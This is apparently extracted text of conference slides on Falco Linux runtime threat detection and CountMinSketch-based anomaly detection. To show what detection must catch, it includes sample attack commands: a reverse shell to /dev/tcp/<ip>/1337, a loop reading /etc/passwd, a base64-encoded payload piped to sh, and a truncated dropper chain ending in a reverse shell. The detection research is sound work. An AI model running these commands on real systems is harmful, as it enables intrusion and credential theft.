Project: Falco (Provisioning / Security & Compliance)
File: kubeconna23-anomaly-detection-slides.pdf

A Wind of Change for Threat Detection  
Melissa Kilby  
Services Security Engineering - Apple  
Tuesday November 7, 2023 12 /colon.uc10pm - 12 /colon.uc45pm CST  
(W375ab - Security Track)
The Falco Project
Artificial Intelligence is on fireA work in progress …
… detecting cyber attacks at scaleLinux Infrastructure Layer
identity management systemsauthentication systemsbuild systemsnetwork devicesnetwork storagesource control systemsdatabase systemsbackend app serversnetwork proxy serversdata centersLinux Security Monitoring - “Kernel Events Never Lie”
CPUSystem CallSystem CallSystem CallMemoryHard DiskApp Process
KernelApp ProcessApp ProcessApp ProcessLargest gateway to kernel from userspaceHistorical Process Execution
…/bin/java/bin/sh/bin/sh
/usr/bin/tee
/bin/dash
/usr/bin/tee
  
  
   proc.name: sh 
proc.exepath: /bin/sh 
proc.cmdline: sh -c echo 
f0VMRgEBAQAAAA[TRUNCATED]AAFhqAGoFieMxyc2AhcB5vesn
sge5ABAAAInjwesMweMMsH3NgIXAeBBbie[TRUNCATED]AAM2A 
| tee /tmp/Qhhg.b64Historical Process ExecutionHistorical Process Execution
…/bin/java/bin/sh/bin/sh
/usr/bin/tee
/bin/sh/bin/sh
/usr/bin/tee   
   proc.name: sh 
   proc.exepath: /bin/sh 
   proc.cmdline: sh -c base64 -d /tmp/Qhhg.b64|tee /tmp/Qhhg 
/bin/dash
/usr/bin/teeHistorical Process ExecutionHistorical Process Execution
…/bin/java/bin/sh/bin/sh
/usr/bin/tee
/bin/sh/bin/sh
/usr/bin/tee
/bin/sh /bin/sh   
   proc.name: sh 
   proc.exepath: /bin/sh 
   proc.cmdline: sh -c chmod +x /tmp/Qhhg 
/bin/dashHistorical Process ExecutionHistorical Process Execution
…/bin/java/bin/sh/bin/sh
/usr/bin/tee
/bin/sh/bin/sh
/usr/bin/tee
/bin/sh
/bin/shNetwork 
Connect 
Event/bin/sh
/tmp/Qhhg/bin/sh/bin/dashNetwork Connect 
Event
    
   proc.name: sh 
   proc.exepath: /bin/sh 
   proc.cmdline: sh 
  
REVERSE SHELL
…/bin/java/bin/sh/bin/sh
/usr/bin/tee
/bin/sh/bin/sh
/usr/bin/tee
/bin/sh
/bin/sh/questionmark
/questionmark/bin/bashNetwork 
Connect 
Event/usr/bin/python2.7/bin/uname
REVERSE SHELL
/bin/sh
/tmp/Qhhg/bin/shHistorical Process ExecutionThe Falco Project
proc.aname: java -> sh -> sh -> python2.7 -> bash -> unameLinux Kernel View Mirror: The Now of the Process Tree
…/bin/java
/bin/sh/bin/bashNetwork 
Connect 
Event/usr/bin/python2.7/bin/uname
REVERSE SHELL
/bin/shpidppid…Process/Thread n
The Falco Project
pidppid…Process/Thread n
pidppid…Process/Thread nLinux Kernel View Mirror: Falco’s Process/Thread Cache
pid = Linux process identifier 
ppid = Linux parent process identifierThe Falco Project
pidppid…Process/Thread n
pidppid…Process/Thread n
pidppid…Process/Thread nPurge Process/Thread on exit
Linux Kernel View Mirror: Falco’s Process/Thread Cache
pid = Linux process identifier 
ppid = Linux parent process identifierpidppid…Process/Thread n
The Falco Project
pidppid…Process/Thread n
pidppid…Process/Thread n
Broken LinksLinux Kernel View Mirror: Falco’s Process/Thread Cache
pid = Linux process identifier 
ppid = Linux parent process identifierWhat can we detect with the right Falco rules /questionmark
Remote Code 
ExecutionThe Falco Project
What can we detect with the right Falco rules /questionmark
Secrets Lifting
The Falco Project
What can we detect with the right Falco rules /questionmark
Privilege 
Escalation
The Falco Project
What can we detect with the right Falco rules /questionmark
Sandbox Escape
The Falco Project
What can we detect with the right Falco rules /questionmark
Lateral 
Movement
The Falco Project
What can we detect with the right Falco rules /questionmark
Unauthorized 
Access
The Falco Project
What can we detect with the right Falco rules /questionmark
detect known 
infrastructure 
attacksThe Falco Project
What does doing nothing cost you /questionmarkRaising the Bar  
Self-T agging of Normal App BehaviorTune your rules, or be tuned out …
Tune your rules, or be tuned out …
$ echo “detect abnormal file opens”  
$ ./demo1Tune your rules, or be tuned out …
self-tagging 
normal application 
behavior
Information AsymmetryInformation Asymmetry
To Defenders Advantagevaluable 
information 
encoding
More information, more possibilitiesMore information, more possibilities
Detect unusual file opens to find Arbitrary 
File Reads  -- an entire family of attacks.  
We can quantify "unusual"  as less common 
in the application's context  because we 
can access and encode more information 
efficiently and compactly.
Rule-based detections focus on what we think 
attackers will do, not on what they are doing/questionmark
…because “found data”  is not enough……need relevant , structured , and 
contextual  data to detect today's 
cyber attacks…… defining the “right data” 
proves to be challenging…
…speeding up the novelty discovery  
and adaptation  cycle will be very helpful/questionmark
Staying ahead in  Linux runtime 
monitoring  and detecting cyber 
attacks  is hard …
Attackers don’t play by rulesdetect what we 
don’t know
Attackers don’t play by rulesRaising the Bar
valuable 
information 
encoding
detect what we 
don’t knowSelf-tagging 
normal app 
behavior
detect known 
infrastructure 
attacksA Peek into the Work In Progress for Falco
The Falco Project
https://github.com/falcosecurity/libs/pull/1453
wip: new(userspace/libsinsp): MVP CountMinSketch Powered Probabilistic Counting and FilteringAdvanced kernel event data analytics that's 
built for the real world, not the award shelfAnalyze behaviors outside the past behavior… process attributes …… process attributes …
… unusual app process attributes …Data Compression Requirements
Minimum accuracy guarantees — performance more important  
Data Structure w/ efficient time and space complexity  
Counters of 64bit, ideally just 32bit  
Use established algorithms  proven to be useful in real-life production  
Support different data types (strings, numeric numbers, bool…)  CountMinSketch - Fixed space data structure
Width = w buckets (NUMBUCKETS)Depth = d Hash Functions
Bias
w = ceil(e / /epsilon.grek) -> where e is the base of the natural logarithm, /epsilon.grek is the desired error rated = ceil(ln(1/ /delta.grek)) -> /delta.grek is the desired probability of failureCountMinSketch - Update counts
matrix[d][hash%NUMBUCKETS]++New itemWidth = w buckets (NUMBUCKETS)CountMinSketch - Get count estimates
Get the min value (point query)Width = w buckets (NUMBUCKETS)
k heavy hitters 
or 
simple thresholdsCountMinSketch - Decisions
In runtime Threat Detection approx knowing recurring high volume patterns is a huge win /exclamationmarkNo undercounting - prone to overcounting - perfect for heavy hitters detection in skewed distributions
k heavy hitters 
or 
simple thresholdsCountMinSketch - T ake Away
> Less Memory  
> Fixed Memory
> Overcounting within error  
> Safety boundary
> Won’t blow up in productionCountMinSketch - How To Runtime Threat Detection
One shared set of sketches per host
Sketch 1
Sketch 2Sketch n
……/bin/java/bin/sh/bin/sh
/usr/bin/tee
/bin/sh/bin/sh
/usr/bin/tee
/bin/sh
/bin/sh/questionmark
/questionmark/bin/bashNetwork 
Connect 
Event/usr/bin/python2.7/bin/uname
REVERSE SHELL
/bin/sh
/tmp/Qhhg/bin/shWhat are we counting /questionmarkproc.args:  
Not always available.  
More challenging to model due to noise.  
Greater numbers of arguments and 
higher average counts provide more 
information and context from the 
arguments.  Reflective of a compressed encoding 
of the context of a process.  
Optional inclusion of file paths or 
network connection tuples for high-
priority use cases related to file 
descriptor actions.  CountMinSketch - How To Runtime Threat Detection
container.id  
proc.name  
proc.exepath  
proc.tty  
proc.vpgid.name  
proc.sname  
proc.pname  
proc.aname[2]  
proc.aname[3]  
proc.aname[4] fd.namecontainer.id  
proc.args   attacker command (typed into terminal)   command line (process name + cmd args)bash -i >& /dev/tcp/<ip>/1337 0>&1 bash -iecho "string"while read -r line; do echo "$line"; done < /etc/
passwd;ALL_PROXY=socks5://127.0.0.1:9999 curl https://
<domain> curl https://<domain>echo 
'cHl0aG9uIC1jICJleGVjKGFXMXdiM0owSUc5ekxITnpiQW89L
mRlY29kZShiYXNlNjQpKSIgPi9k  
ZXYvbnVsbCAyPiYxICYK' | base64 —decode | sh(1) sh 
(2) base64 —decode  
(3) python -c     
exec(‘aW1wb3J0IG9zLHNzbAo='.decode('base64'))Shell Input Encoding Challenge- rule: Abnormal File Open  
  condition: >  
    open_read  
    and fd.sketch0.count < threshold1  CountMinSketch Powered Falco Rules
    and proc.sketch2.count < threshold2)  Process context + fd.name countsSketch 0proc.args count summary statsSketch 1$ echo “detect command injection”  
$ ./demo2More information, more possibilitiesProposal ๏Projects best interest 
๏Solve a relevant and 
broad set of problems 
in Falco 
๏Design 
๏Early POCDevelopment๏Start development 
๏Incorporate early 
feedback 
๏Create test suites to 
build trust and 
showcase benefitsExperimental Release๏Expose new 
capabilities to early 
adopters 
๏Revise and/or expand 
capabilities 
๏The new framework 
should be extensible 
by the communityOfficially Supported๏If this stage is reached, it 
means that the community 
has deemed the new 
feature useful 
๏New feature meets strict 
production requirements 
with a reasonable 
performance-accuracy 
trade-offHow to go about contributing to OSS Falco /questionmark> Learning  
> Learn normal high-frequency application behavior  
> Access more information on the host to define behavior  
> Increase the chances of detecting unknown attacks
> Velocity & Scalability  
> Adaptation and novelty discovery  
> Automated traditional tuning
> Reduce Cost  
> Avoid infeasible compute in data lakes
SummaryQ&A